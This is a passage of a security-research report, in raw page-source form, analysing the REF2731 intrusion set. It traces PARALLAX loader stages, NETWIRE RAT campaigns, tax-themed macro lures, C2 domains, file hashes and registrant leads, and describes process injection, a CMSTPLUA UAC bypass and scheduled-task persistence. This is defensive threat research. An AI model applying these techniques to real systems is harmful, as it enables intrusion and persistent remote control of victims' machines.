algorithm\"}),\".\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image33.jpg\",alt:\"Decompressing PNG extracted data\",width:\"977\",height:\"220\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Next, it creates a suspended \",(0,n.jsx)(e.strong,{children:\"cmd.exe\"}),\" process and injects the NETWIRE payload and the last PARALLAX stage that will set up the environment and execute the NETWIRE payload.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image19.jpg\",alt:\"Process tree of the malware\\u2019s execution\",width:\"1135\",height:\"147\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Below is the memory regions showing the injected process hosting the NETWIRE payload:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image22.jpg\",alt:\"Injected NETWIRE payload in a cmd.exe process\",width:\"754\",height:\"686\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"fifth-stage\",children:\"Fifth Stage\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"The fifth and final stage of PARALLAX Loader performs a UAC bypass through \",(0,n.jsx)(e.strong,{children:\"CMSTPLUA\"}),\" COM interface, a technique that has been used by ransomware-like LockBit, it then sets persistence on the system before executing the final payload by creating a scheduled task to run \",(0,n.jsx)(e.strong,{children:\"Msidb.exe\"}),\" using Component Object Model (COM).\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image32.jpg\",alt:\"Scheduled task to run MsiDb.exe\",width:\"944\",height:\"716\"})}),`\n`,(0,n.jsx)(e.h2,{id:\"campaign-analysis\",children:\"Campaign Analysis\"}),`\n`,(0,n.jsx)(e.p,{children:\"Throughout the analysis of the lure documents and malware families, we observed two campaigns associated with their TTPs, malware, network infrastructure, and lure metadata.\"}),`\n`,(0,n.jsx)(e.p,{children:\"The intersections we observed allowed us to observe additional network infrastructure and identify the characteristics of one infrastructure owner in Campaign 1.\"}),`\n`,(0,n.jsx)(e.p,{children:\"In the following sections, we will describe relevant elements and artifacts associated with each campaign, as well as their relationships.\"}),`\n`,(0,n.jsx)(e.p,{children:\"This section will be focused on campaign intersections. As each campaign functioned similarly with respect to their technical implementation (lure document -\\\\\u003e macro -\\\\\u003e defense evasion techniques -\\\\\u003e PARALLAX loader -\\\\\u003e NETWIRE RAT), we\\u2019ll use the analysis of the five stages for the deployment of the PARALLAX and NETWIRE malware that has been described in detail in the previous Execution Flow section.\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"While we are not attributing these campaigns to any specific threat actor, we have identified parallel research leveraging the same TTPs that we observed. This research was attributed to the financially motivated threat group, Evilnum [\",(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/groups/G0120/\",rel:\"nofollow\",children:\"1\"}),\", \",(0,n.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/actor/evilnum\",rel:\"nofollow\",children:\"2\"}),\"] and the \",(0,n.jsx)(e.a,{href:\"http://blog.nsfocus.net/darkcasino-apt-evilnum/\",rel:\"nofollow\",children:\"DarkCasino campaign\"}),\".\"]}),`\n`,(0,n.jsx)(e.h3,{id:\"campaign-1\",children:\"Campaign 1\"}),`\n`,(0,n.jsx)(e.h4,{id:\"overview\",children:\"Overview\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"This campaign is clustered by shared lure document metadata, network infrastructure, dropped macro, and malicious DLL ( \",(0,n.jsx)(e.strong,{children:\"msi.dll\"}),\" ) \",(0,n.jsx)(e.strong,{children:\".\"})]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image28.jpg\",alt:\"Campaign 1 node-link analysis\",width:\"714\",height:\"1154\"})}),`\n`,(0,n.jsx)(e.h4,{id:\"lure-documents\",children:\"Lure Documents\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"The three lure documents used in Campaign 1 were all macro-embedded Microsoft Word documents. The documents were all 153 pages long, with the macro embedded on the 3rd page. The documents all included the H1 Word \",(0,n.jsx)(e.a,{href:\"https://support.microsoft.com/en-us/office/add-a-heading-3eb8b917-56dc-4a17-891a-a026b2c790f2\",rel:\"nofollow\",children:\"document header\"}),\" of \",(0,n.jsx)(e.strong,{children:\"\\u041A\\u0430\\u043A \\u044F \\u0438\\u0441\\u043A\\u0430\\u043B \\u0413\\u0430\\u043D\\u0442\\u043C\\u0430\\u0445\\u0435\\u0440\\u0430\"}),\" (loosely translated to: \\u201CHow I searched for Gantmakher\\u201D). Vsevolod Gantmakher was a Russian physicist.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"Extracting the metadata for all three documents, we can see their relationships based on several fields; most notably:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsxs)(e.li,{children:[\"The identical \",(0,n.jsx)(e.strong,{children:\"HeadingPairs\"}),\" (the names of the Word document header).\"]}),`\n`,(0,n.jsxs)(e.li,{children:[\"The identical \",(0,n.jsx)(e.strong,{children:\"CreationDate\"}),\" dates.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[\"The identical \",(0,n.jsx)(e.strong,{children:\"LastPrinted\"}),\" dates.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[\"The \",(0,n.jsx)(e.strong,{children:\"ModifyDate\"}),\" dates are all within 14-minutes.\"]}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image17.jpg\",alt:\"Campaign 1 lure document metadata\",width:\"1440\",height:\"343\"})}),`\n`,(0,n.jsx)(e.p,{children:\"The H1 document header of the lure documents does not appear relevant to the targeting as the lure document names and lure document content are wholly unrelated: two of the three document names were related to 2021 United States tax filings, all three of the document names are in English, and the contents of the lure documents are in Cyrillic.\"}),`\n`,(0,n.jsx)(e.h4,{id:\"macro\",children:\"Macro\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"The macro downloads five files, detailed in the Execution Flow section above \",(0,n.jsx)(e.strong,{children:\"(cs16.wav\"}),\", \",(0,n.jsx)(e.strong,{children:\"msi.dll\"}),\" , \",(0,n.jsx)(e.strong,{children:\"MsiDb.exe\"}),\" , \",(0,n.jsx)(e.strong,{children:\"paper.png\"}),\" , and \",(0,n.jsx)(e.strong,{children:\"cs16.cfg\"}),\" ), from a different domain for each lure document.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image2.jpg\",alt:\"Campaign 1 macro-downloaded files\",width:\"1440\",height:\"336\"})}),`\n`,(0,n.jsx)(e.h4,{id:\"network-infrastructure\",children:\"Network Infrastructure\"}),`\n`,(0,n.jsx)(e.p,{children:\"Campaign 1 included three domains contacted by the macro to download artifacts required for stages two through five (described in the \\u201CExecution Flow\\u201D section above) and three domains used for the NETWIRE RAT C2.\"}),`\n`,(0,n.jsx)(e.p,{children:\"The six domains are:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\"digitialrotprevention[.]com - macro-connected.\"}),`\n`,(0,n.jsx)(e.li,{children:\"internationalmusicservices[.]com - macro-connected.\"}),`\n`,(0,n.jsx)(e.li,{children:\"globalartisticservices[.]com - macro-connected.\"}),`\n`,(0,n.jsx)(e.li,{children:\"ohioohioa[.]com - NETWIRE C2.\"}),`\n`,(0,n.jsx)(e.li,{children:\"ywiyr[.]com - NETWIRE C2.\"}),`\n`,(0,n.jsx)(e.li,{children:\"septton[.]com - NETWIRE C2.\"}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:\"The macro-connected domains (digitialrotprevention[.]com, internationalmusicservices[.]com, and globalartisticservices[.]com) include metadata that has allowed us to cluster these three domains together in Campaign 1.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image29.jpg\",alt:\"Campaign 1 network infrastructure\",width:\"1368\",height:\"448\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"In the above image, the Admin email address and Admin user name is russnet123@protonmail[.]com and \",(0,n.jsx)(e.strong,{children:\"rus fam\"}),\" , respectively. As of this writing, these domains have been suspended.\"]}),`\n`,(0,n.jsxs)(e.blockquote,{children:[`\n`,(0,n.jsx)(e.p,{children:\"Our research identified an additional domain, micsupportcenter[.]com that had the same Admin email address and Admin user name. The lure document included similar US tax document themes, macro elements, and TTPs; but we were unable to confirm that it was part of this campaign. This lure document was first observed in May of 2022 and is possibly part of a testing wave, but this is speculation. We are confident this is a malicious domain and are including it as an indicator artifact for this intrusion set, but not this campaign.\"}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:\"Once the execution flow reaches the Fourth Stage (described in the Execution Flow section above), the final three domains (ohioohioa[.]com, ywiyr[.]com, and septton[.]com) act as ongoing command and control nodes for the NETWIRE RAT.\"}),`\n`,(0,n.jsx)(e.p,{children:\"While \\u200B\\u200Bohioohioa[.]com and ywiyr[.]com are protected by privacy services, septton[.]com has interesting metadata that we were able to collect and is outlined below in the SEPTTON Domain section below.\"}),`\n`,(0,n.jsx)(e.h4,{id:\"campaign-1-indicators\",children:\"Campaign 1 Indicators\"}),`\n`,(0,n.jsx)(e.div,{className:\"table-container\",children:(0,n.jsxs)(e.table,{children:[(0,n.jsx)(e.thead,{children:(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.th,{children:\"Name\"}),(0,n.jsx)(e.th,{children:\"STIX 2.1 Indicator Type\"}),(0,n.jsx)(e.th,{children:\"Identifier\"})]})}),(0,n.jsxs)(e.tbody,{children:[(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"bc9f19ae835d975de9aaea7d233b6ea9b2bc30f80d192af2e8e68542b588917e\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"Brian_Tax_Docs.doc lure document\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"d70365481fb4806130743afd199697eb981a0eb2756754ecc548f5b30c2203a5\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"VIRGINIA-TAX-RETURN-2021-US-EXT.doc lure document\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"9dd709cb989d985a6cfee4a254f894a3b878a03962dbf253cb09a24ece455d58\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"All Docs.doc lure document\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"16227f50bbe42a13a2abf0bf0e146f356863de59525c54909ea8ccc2db448f77\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"msi.dll PARALLAX loader / NETWIRE\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"0c8c431a1f589fdcf453c7afada63c2e2e2a887e49abdbb222983fa6044fdf66\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"cs16.wav (shellcode)\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"6ed65beb692301af5296ba6751063ae40e91c4e69ced43560c67ce58165c36b5\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"cs16.cfg (config for PNG stage)\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"5f259757741757c78bfb9dab2cd558aaa8403951c1495dc86735ca73c33d877f\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"paper.png (stager for NETWIRE)\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"globalartisticservices[.]com\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"PARALLAX loader domain\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"DigitalRotPrevention[.]com\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"PARALLAX loader domain\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"InternationalMusicServices[.]com\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"PARALLAX loader domain\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"russnet123@protonmail[.]com\"}),(0,n.jsx)(e.td,{children:\"email-addr\"}),(0,n.jsx)(e.td,{children:\"PARALLAX loader domain registration email address\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"chisholm.i@aol[.]com\"}),(0,n.jsx)(e.td,{children:\"email-addr\"}),(0,n.jsx)(e.td,{children:\"NETWIRE C2 domain registration email address\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"ywiry[.]com\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE C2 domain\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"ohioohioa[.]com\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE C2 domain\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"septton[.]com\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE C2 domain\"})]})]})]})}),`\n`,(0,n.jsx)(e.h3,{id:\"campaign-2\",children:\"Campaign 2\"}),`\n`,(0,n.jsx)(e.h4,{id:\"overview-1\",children:\"Overview\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"This campaign is clustered through its lure document metadata, network infrastructure, dropped macro, and malicious DLL ( \",(0,n.jsx)(e.strong,{children:\"msvcr100.dll\"}),\" ).\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image24.jpg\",alt:\"Campaign 2 node-link analysis\",width:\"802\",height:\"1110\"})}),`\n`,(0,n.jsx)(e.h4,{id:\"lure-documents-1\",children:\"Lure Documents\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"The lure document used in Campaign 2 is a macro-embedded Microsoft Word document. The document metadata differentiates it from Campaign 1 based on the \",(0,n.jsx)(e.strong,{children:\"LastModifiedBy\"}),\" field and the macro network infrastructure.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image10.jpg\",alt:\"Campaign 2 lure document metadata\",width:\"1440\",height:\"193\"})}),`\n`,(0,n.jsx)(e.p,{children:\"The document name was also related to 2021 United States tax filings.\"}),`\n`,(0,n.jsx)(e.h4,{id:\"macro-1\",children:\"Macro\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Like Campaign 1, the macro downloads several files. Beyond the DLL file ( \",(0,n.jsx)(e.strong,{children:\"msvcr100.dll\"}),\" ), all files were offline before they could be collected. Based on the TTPs observed in this campaign, we assess with high confidence that they \",(0,n.jsx)(e.strong,{children:\"(java.exe\"}),\", \",(0,n.jsx)(e.strong,{children:\"Fruit.png\"}),\" , \",(0,n.jsx)(e.strong,{children:\"idea.cfg\"}),\" , and \",(0,n.jsx)(e.strong,{children:\"idea.mp3\"}),\" ) function similarly to the files from Campaign 1 and detailed in the Execution Flow section above.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image13.jpg\",alt:\"Campaign 2 macro-downloaded files\",width:\"1440\",height:\"136\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Additional details about the Campaign 1 and Campaign 2 file relationships are in the \\u201CCampaign intersections\\u201D section below.\"}),`\n`,(0,n.jsx)(e.h4,{id:\"network-infrastructure-1\",children:\"Network Infrastructure\"}),`\n`,(0,n.jsx)(e.p,{children:\"Campaign 2 included one domain contacted by the macro to download artifacts required for stages two through five (described in detail in the \\u201CExecution Flow\\u201D section above). Additionally, there was one domain used for the NETWIRE RAT C2.\"}),`\n`,(0,n.jsx)(e.p,{children:\"The two domains are:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\"solro14.s3.ap-northeast-3.amazonaws[.]com - macro-connected\"}),`\n`,(0,n.jsx)(e.li,{children:\"ohioohioa[.]com - NETWIRE C2\"}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:\"Once the execution flow reaches stage four, ohioohioa[.]com acts as the ongoing command and control node for the NETWIRE RAT.\"}),`\n`,(0,n.jsx)(e.h4,{id:\"campaign-2-indicators\",children:\"Campaign 2 Indicators\"}),`\n`,(0,n.jsx)(e.div,{className:\"table-container\",children:(0,n.jsxs)(e.table,{children:[(0,n.jsx)(e.thead,{children:(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.th,{children:\"Name\"}),(0,n.jsx)(e.th,{children:\"STIX 2.1 Indicator Type\"}),(0,n.jsx)(e.th,{children:\"Identifier\"})]})}),(0,n.jsxs)(e.tbody,{children:[(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"solro14.s3.ap-northeast-3.amazonaws[.]com\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"PARALLAX loader domain\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"32fc0d1ad678133c7ae456ecf66c3fcf97e43abc2fdfce3ad3dce66af4841f35\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"2021-Individual-Tax-Form.doc lure document\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"443879ee2cb3d572bb928d0831be0771c7120968e442bafe713a6e0f803e8cd9\"}),(0,n.jsx)(e.td,{children:\"SHA-256\"}),(0,n.jsx)(e.td,{children:\"msvcr100.dll PARALLAX loader / NETWIRE\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"ohioohioa[.]com\"}),(0,n.jsx)(e.td,{children:\"domain-name\"}),(0,n.jsx)(e.td,{children:\"NETWIRE C2 domain\"})]})]})]})}),`\n`,(0,n.jsx)(e.h2,{id:\"campaign-intersections\",children:\"Campaign Intersections\"}),`\n`,(0,n.jsx)(e.p,{children:\"Campaign 1 and Campaign 2 intersect in several ways.\"}),`\n`,(0,n.jsx)(e.p,{children:\"As illustrated in the image below, each campaign relied on a lure document (or documents) to execute a macro that contacted adversary-owned or controlled domains; downloaded artifacts used to install and protect the PARALLAX and NETWIRE RAT implants. Additionally, in both campaigns we analyzed, there is a shared network infrastructure used for the NETWIRE C2.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image16.jpg\",alt:\"Campaign 1 and Campaign 2 intersections\",width:\"1440\",height:\"1342\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"the-pyramid-of-pain\",children:\"The Pyramid of Pain\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"In 2013 (and updated in 2014), security researcher David Bianco released an analytical model called the \",(0,n.jsx)(e.a,{href:\"http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html\",rel:\"nofollow\",children:\"Pyramid of Pain\"}),\". The model is intended to understand how uncovering different parts of an intrusion can impact a campaign. As you can see in the model below, the identification of hash values is useful, but easily changed by an adversary whereas identifying TTPs is very difficult for an adversary to change.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image4.jpg\",alt:\"The Pyramid of Pain\",width:\"720\",height:\"405\"})}),`\n`,(0,n.jsx)(e.p,{children:'The goal of using the Pyramid of Pain is to understand as much about the intrusion as possible and project the impact (read: the amount of \"pain\") you can inflict.'}),`\n`,(0,n.jsx)(e.p,{children:\"When analyzing the two campaigns, we can put the Pyramid of Pain into action.\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsxs)(e.li,{children:[`\n`,(0,n.jsxs)(e.p,{children:[(0,n.jsx)(e.strong,{children:\"Hash values\"}),\" - each lure document had a unique hash.\"]}),`\n`]}),`\n`,(0,n.jsxs)(e.li,{children:[`\n`,(0,n.jsxs)(e.p,{children:[(0,n.jsx)(e.strong,{children:\"IP addresses\"}),\" - each network connection leveraged a different IP address.\"]}),`\n`]}),`\n`,(0,n.jsxs)(e.li,{children:[`\n`,(0,n.jsxs)(e.p,{children:[(0,n.jsx)(e.strong,{children:\"Domain names\"}),\" - each network connection leveraged exclusive domains for the macro components but shared a NETWIRE C2 domain (ohioohioa[.]com).\"]}),`\n`]}),`\n`,(0,n.jsxs)(e.li,{children:[`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Network/host artifacts\"})}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\"Identically-named host artifacts observed in Campaign 1.\"}),`\n`,(0,n.jsx)(e.li,{children:\"Renamed from Campaign 1, but functionally identical, host artifacts observed in Campaign 2.\"}),`\n`,(0,n.jsx)(e.li,{children:\"Artifact bundles from both campaigns include similarly formatted and functionally identical files.\"}),`\n`]}),`\n`]}),`\n`,(0,n.jsxs)(e.li,{children:[`\n`,(0,n.jsxs)(e.p,{children:[(0,n.jsx)(e.strong,{children:\"Tools\"}),\" - macro-enabled Word document lures, and PARALLAX and NETWIRE RATs.\"]}),`\n`]}),`\n`,(0,n.jsxs)(e.li,{children:[`\n`,(0,n.jsxs)(e.p,{children:[(0,n.jsx)(e.strong,{children:\"TTPs\"}),\" - complex and defensive five-staged execution chain.\"]}),`\n`]}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:\"Looking across both campaigns, we can see there is some shared infrastructure at the Domain Names tier in the NETWIRE C2 domain (ohioohioa[.]com). In the Network/host artifacts tier we can see additional intersections between the campaigns.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image3.jpg\",alt:\"Network/host artifacts\",width:\"1440\",height:\"423\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"In both campaigns, we can see a PE file ( \",(0,n.jsx)(e.strong,{children:\"MsiDb.exe\"}),\" and \",(0,n.jsx)(e.strong,{children:\"java.exe\"}),\" ), a DLL file ( \",(0,n.jsx)(e.strong,{children:\"msi.dll\"}),\" and \",(0,n.jsx)(e.strong,{children:\"msvcr100.dll\"}),\" ), a PNG file ( \",(0,n.jsx)(e.strong,{children:\"paper.png\"}),\" and \",(0,n.jsx)(e.strong,{children:\"Fruit.png\"}),\" ), an audio-format named file ( \",(0,n.jsx)(e.strong,{children:\"cs16.wav\"}),\" and \",(0,n.jsx)(e.strong,{children:\"idea.mp3\"}),\" ), and a configuration file ( \",(0,n.jsx)(e.strong,{children:\"cs16.cfg\"}),\" and \",(0,n.jsx)(e.strong,{children:\"idea.cfg\"}),\" ) at the Network/host artifact tier. All downloaded files in Campaign 1 are named the same across all three lure documents. In both campaigns, the audio-format named files have the same base name as the configuration files ( \",(0,n.jsx)(e.strong,{children:\"cs16.wav\"}),\" / \",(0,n.jsx)(e.strong,{children:\"cs16.cfg\"}),\" and \",(0,n.jsx)(e.strong,{children:\"idea.mp3\"}),\" / \",(0,n.jsx)(e.strong,{children:\"idea.cfg\"}),\" ). In both campaigns, we assess with high confidence that all host artifacts are functionally identical as described in the Execution Flow section above.\"]}),`\n`,(0,n.jsx)(e.h2,{id:\"the-septton-domain\",children:\"The SEPTTON Domain\"}),`\n`,(0,n.jsx)(e.p,{children:\"As reported in the Campaign 1 section, most of the network infrastructure was either well-used across multiple intrusions unrelated to our campaigns or protected by domain privacy services.\"}),`\n`,(0,n.jsx)(e.p,{children:\"An exception to that is the seppton[.]com domain, which was used as the C2 node for a NETWIRE RAT implant in our sampling. Continuing to analyze this domain, we observed several other associated malicious files. While we did not independently verify the family of malware that is communicating with this domain, signature names in VirusTotal include NETWIRE.\"}),`\n`,(0,n.jsxs)(e.blockquote,{children:[`\n`,(0,n.jsx)(e.p,{children:\"It should be noted that signature names in VirusTotal alone do not present enough information to provide a high-confidence conviction of a malware sample to a malware family.\"}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image5.jpg\",alt:\"septton[.]com file relationships\",width:\"1440\",height:\"927\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Looking through the registration information for the domain, we observed two elements of note, both email addresses - marketforce666@yandex[.]com and chisholm.i@aol[.]com.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image37.jpg\",alt:\"septton[.]com domain registration\",width:\"1440\",height:\"149\"})}),`\n`,(0,n.jsx)(e.p,{children:\"In the next two sections, we\\u2019ll discuss the resource development for domains used in campaigns.\"}),`\n`,(0,n.jsx)(e.h3,{id:\"marketforce666\",children:\"marketforce666\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Searching for \",(0,n.jsx)(e.strong,{children:\"marketforce666\"}),\" in a search engine did not return results of value from the United States; however, when changing to an Internet egress point within Russia and using the Yandex search engine (Yandex is a Russian Internet services provider), we identified 802 results that show this term has been associated with multiple abuse reports.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image18.jpg\",alt:\"marketforce666 Yandex search engine results\",width:\"1440\",height:\"990\"})}),`\n`,(0,n.jsx)(e.p,{children:\"When expanding our search for domains registered by marketforce666@yandex[.]com, we identified three additional domains. We did not observe these additional domains in our campaigns, but we are including them as indicator artifacts. Below are the four total domains (one from Campaign 1 and three additional) that were registered by, either as the admin, tech, or registrant address, marketforce666@yandex[.]com.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image31.jpg\",alt:\"Domains registered to marketforce666@yandex[.]com\",width:\"965\",height:\"333\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"gaza666\",children:\"gaza666\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Looking at the other email address, chisholm.i@aol[.]com, we were able to connect this email address with a moniker of \",(0,n.jsx)(e.strong,{children:\"gaza666\"}),\" from the online forum and marketplace, Infected Zone.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"On this forum, the user \",(0,n.jsx)(e.strong,{children:\"gaza666\"}),\" attempted to purchase (\",(0,n.jsx)(e.code,{children:\"https://infected-zone[.]com/threads/2814/\"}),\") an \\u201COffice 365 Complete Package\\u201D from the online seller \",(0,n.jsx)(e.strong,{children:\"rzkyo\"}),\". \",(0,n.jsx)(e.strong,{children:\"gaza666\"}),\" and the seller \",(0,n.jsx)(e.strong,{children:\"rzkyo\"}),\" engaged in a dispute on the forum where \",(0,n.jsx)(e.strong,{children:\"gaza666\"}),\" did not believe they received what they purchased - which was a package for email spamming and four United States Office 365 accounts but received three nonfunctional and non-Office 365 Phillipino accounts. The seller, \",(0,n.jsx)(e.strong,{children:\"rzkyo\"}),\" , responded and the two debated what was purchased and what was delivered. The dispute was responded to by a moderator who attempted to resolve the issue.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image15.png\",alt:\"Invoice email where gaza666 purchased infrastructure from rzkyo\",width:\"1440\",height:\"819\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image14.png\",alt:\"Invoice where gaza666 is linked to chisholm.i@aol[.]com\",width:\"1440\",height:\"772\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The results of the dispute were not in the forum, but there were several screenshots where \",(0,n.jsx)(e.strong,{children:\"rzkyo\"}),\" showed \",(0,n.jsx)(e.strong,{children:\"gaza666\"}),\" and the moderators that the services they sold were functional.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image27.png\",alt:\"SMTP credentials from rzkyo to gaza666\",width:\"1440\",height:\"820\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image34.png\",alt:\"Setup of online SMTP testing service\",width:\"1440\",height:\"819\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image11.png\",alt:\"Test from email spam accounts purchased from rzkyo\",width:\"1440\",height:\"816\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"While it is unknown if the infrastructure above that \",(0,n.jsx)(e.strong,{children:\"gaza666\"}),\" attempted to purchase from \",(0,n.jsx)(e.strong,{children:\"rzkyo\"}),\" was used in our observed campaigns (or ever used at all), but \",(0,n.jsx)(e.strong,{children:\"gaza666\"}),\" is associated with chisholm.i@aol[.]com, which was used to register septton[.]com, and septton[.]com was used as a NETWIRE C2 node in Campaign 